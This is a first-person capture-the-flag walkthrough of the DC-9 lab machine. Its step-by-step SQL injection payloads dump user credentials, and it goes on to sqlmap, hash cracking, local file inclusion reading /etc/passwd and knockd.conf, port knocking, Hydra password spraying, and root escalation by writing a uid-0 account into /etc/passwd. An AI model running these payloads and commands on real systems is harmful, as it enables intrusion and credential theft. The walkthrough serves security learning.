Prerequisite
Just to make life easier I usually add an entry in my hosts file for easier access of the target machine.
echo "192.168.72.131 dc9.hub" >> /etc/hosts
hosts file entry
Okay now onto the hacking!
Reconnaissance
As always, I started off with an NMAP scan against the machine.
nmap -Pn -sC -sV -oN initial dc9.hub
┌──(root💀nee)-[~/boxes/vulnhub/dc9] └─# nmap -Pn -sV -sC -oN initial dc9.hub Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( nmap.org ) at 2021-02-24 01:35 EST Nmap scan report for dc9.hub (192.168.72.131) Host is up (0.000094s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Example.com - Staff Details - Welcome MAC Address: 00:0C:29:2F:5A:5F (VMware)
Scanning & Enumeration
Based on the scan that was run, I realized that port 80 was running a web server. This was the web app that was being served!
I realized that there was a display all records and a search page which utilized some sort of database.
I went ahead tried to sql inject into the site's backend DB using the search field.
Exploitation (Method 1)
The first step I took was to check if the search parameter was vulnerable by entering ' OR '1'='1'#
as the query.
The site printed out all the entries in the database which confirmed that this field was vulnerable. The next order of business was to check how many columns returned by the backend on each query (Blind Injection) so that I would be able to execute a Union Select query to dump the database. For this, I entered the following as the search term and gradually increased the number.
' OR '1'='1' ORDER BY 1# ' OR '1'='1' ORDER BY 2# ' OR '1'='1' ORDER BY 3# ' OR '1'='1' ORDER BY 4# ' OR '1'='1' ORDER BY 5# ' OR '1'='1' ORDER BY 6#
When I tried ' OR '1'='1' ORDER BY 7#
, nothing was returned. This was what confirmed that the backed was returning 6 columns to us.
Next, I proceeded to construct the union select payload which I could leverage to get data out of the DB.
nee was here' and 1=1 union select 1,2,3,4,5,6#
I knew this was working properly as I stopped getting the annoying 0 results
error message.
Instead, I literally got back the numbers that I entered in the respective names. I also noticed something here. The name section printed out both values 2 and 3. I assumed that it was First and Last name from the database.
Next step was to get details regarding the backend database. I decided to abuse the SQL native functions for this. Here are a bunch of SQL functions that I could have used. The following was my payload to dumb DB details:
nee was here' and 1=1 union select database(),version(),3,user(),5,6 from information_schema.tables where table_schema = database()#
Database: Staff
I then got all the existing table names in the DB with the following payload:
nee was here' and 1=1 union select table_name,version(),3,user(),5,6 from information_schema.tables where table_schema = database()#
Database: Staff
Table 1: StaffDetails
Table 2: Users
I got all the column names in the table with the following payload:
nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = database() and table_name ='Users'#
nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = database() and table_name ='StaffDetails'#
Database: Staff
Table: Users
Database: Staff
Table: StaffDetails
Followed by that, I attempted to dump out all the data from these tables with the following payloads:
nee was here' and 1=1 union select userID,Username,"",Password,"","" from Users#
nee was here' and 1=1 union select id,firstname,lastname,position,phone,email from StaffDetails#
Database: Staff
Table: Users
admin:856f5de590ef37314e7c3bdf6f8a66dc
Database: Staff
Table: StaffDetails
At this point is when I realized that there might me another Schema in this database which I might not have checked. I used the following payload to do so:
nee was here' and 1=1 union select SCHEMA_NAME,version(),3,user(),5,6 from information_schema.schemata#
This revealed that there was another schema in the DB named users
. I ran the following query to list the tables in that schema:
nee was here' and 1=1 union select table_name,"","","","","" from information_schema.tables where table_schema = 'users'#
Turns out that the schema only had one table. I ran the following query to list the columns in the table:
nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = 'users' and table_name ='UserDetails'#
I was only interested in the usernames and passwords. Thus, I used the following query to dump them out:
nee was here' and 1=1 union select group_concat(username,":",password),"","","","","" from users.UserDetails#
--I used the group_concat() function to dump the usernames and passwords out on the same line--
I then used this tool online to separate the values by the ,
.
Raw
marym:3kfs86sfd,julied:468sfdfsd2,fredf:4sfd87sfd1,barneyr:RocksOff,tomc:TC&TheBoyz,jerrym:B8m#48sd,wilmaf:Pebbles,bettyr:BamBam01,chandlerb:UrAG0D!,joeyt:Passw0rd,rachelg:yN72#dsd,rossg:ILoveRachel,monicag:3248dsds7s,phoebeb:smellycats,scoots:YR3BVxxxw87,janitor:Ilovepeepee,janitor2:Hawaii-Five-0
Processed
marym:3kfs86sfd julied:468sfdfsd2 fredf:4sfd87sfd1 barneyr:RocksOff tomc:TC&TheBoyz jerrym:B8m#48sd wilmaf:Pebbles bettyr:BamBam01 chandlerb:UrAG0D! joeyt:Passw0rd rachelg:yN72#dsd rossg:ILoveRachel monicag:3248dsds7s phoebeb:smellycats scoots:YR3BVxxxw87 janitor:Ilovepeepee janitor2:Hawaii-Five-0
Command Dump
list all schemas in DB= nee was here' and 1=1 union select SCHEMA_NAME,version(),3,user(),5,6 from information_schema.schemata# list current DB= nee was here' and 1=1 union select database(),version(),3,user(),5,6 from information_schema.tables where table_schema = database()#
list tables in current DB= nee was here' and 1=1 union select table_name,version(),3,user(),5,6 from information_schema.tables where table_schema = database()#
column names in table= nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = database() and table_name ='Users'# column names in table= nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = database() and table_name ='StaffDetails'#
column names in table= nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = database() and table_name ='Users'# dump data= nee was here' and 1=1 union select userID,Username,"",Password,"","" from Users#
column names in table= nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = database() and table_name ='StaffDetails'# dump data= nee was here' and 1=1 union select id,firstname,lastname,position,phone,email from StaffDetails#
list all schemas in DB= nee was here' and 1=1 union select SCHEMA_NAME,version(),3,user(),5,6 from information_schema.schemata# table names in DB= nee was here' and 1=1 union select table_name,"","","","","" from information_schema.tables where table_schema = 'users'# column names in table= nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = 'users' and table_name ='UserDetails'# dump data= nee was here' and 1=1 union select group_concat(username,":",password),"","","","","" from users.UserDetails#
Exploitation (Method 2)
The first step I took was to intercept and save the search query request using burp suite.
I then ran sqlmap with the request I captured.
sqlmap -r search.req -dbs
dbs= list all databases in target sql server
This revealed that the search
parameter was vulnerable. Sqlmap then proceeded to list databases on target by abusing the vulnerable parameter.
I then proceeded to modify the commands to dump the database in order to retrieve information.
Database: users
Table: UserDetails
Database: Staff
Table: Users
Database: Staff
Table: StaffDetails
Exploitation (Continued)
The first thing that stood out to me was the admin credentials.
admin:856f5de590ef37314e7c3bdf6f8a66dc
It looked like an MD5 hash to me. Thus, I got to cracking it~ 😈
.\hashcat.exe -m 0 -O --force
Using hashcat, I was able to crack the hash within a second which revealed the password.
admin:transorbital1
Once I was logged in as admin, I realized that there was a prompt saying File does not exist
. I tried to climb the directory and read other files on the machine using the file
parameter.
I was successfully able to exploit a Local File Inclusion vulnerability and read /etc/passwd
. I kept this in view as there was nothing valuable I could do with this vulnerability. (YET)
There was a list of usernames and passwords which I uncovered from the initial foothold (SQL Injection). I wanted to brute force these credentials for SSH access to the machine as I knew that SSH was open from the NMAP scan.
However, I kept getting this connection refused
reply when I tried to connect to the machine VIA port 22.After some poking around on the net, I found that there was this thing called port knocking
In computing, port knocking is a method used to open ports on a firewall by a set of connection attempts launched over closed ports. The port will remain closed until a user attempts to initialize TCP and UDP connections to certain ports in a particular order. Read More!
After some more digging, I realized that the ports to knock could be found in the knockd.conf
file located in the /etc/
directory. This is when I utilized the LFI vulnerability.
This file revealed that ports 7469,8475 and 9842
had to be knocked in that order to open SSH and ports 9842,8475 and 7469
had to be knocked in that order to close SSH. Thus I proceeded to knock those ports. I had the option to either do it with bash & NMAP or knock itself.
Bash/NMAP
for x in 7469 8475 9842; do nmap -Pn --max-retries 0 -p $x dc9.hub; done
Knock
knock dc9.hub 7469 8475 9842
As seen above, both methods allow us to connect to the target machine via SSH. Now I was ready to bruteforce my way in with Hydra. I first created 2 files with usernames and passwords respectively from the injection attack.
hydra -L username -P password dc9.hub -T 4 ssh -I
chandlerb:UrAG0D! joeyt:Passw0rd janitor:Ilovepeepee
These were the accounts that I uncovered from the password spraying attack.
Lateral Movement
Out of all the accounts, only the account janitor
had things of interest. There was a hidden file in the home directory which had what seemed like more passwords that I could spray with hydra.
I went back to bruteforcing after I uncovered these passwords.
hydra -L username -P morepasswords dc9.hub -t 4 ssh -I
fredf:B4-Tru3-001
Looking back at the Staff Details website, I realized Fred Flintstone was also the System Administrator of the company.
Privilege Escalation
The privilege escalation on this last user was pretty straight forward. The user fredf
was allowed to run a python script which seemed to read contents from a file and append it to another.
I first tried to copy my machine's public ssh key into root's authorized_keys
file.
However, There was no such file in root's directory. Thus, I decided to create another entry in the /etc/passwd
file similar to root's entry but changing the username and password hash. I first worked on the password hash.
openssl passwd -1 -salt
fredf@dc-9:~$ echo 'nee:$1$nee$Y.k72LnpATMZLyNUSzukV.:0:0:root:/root:/bin/bash' > nee4root fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test nee4root /etc/passwd
ROOTY!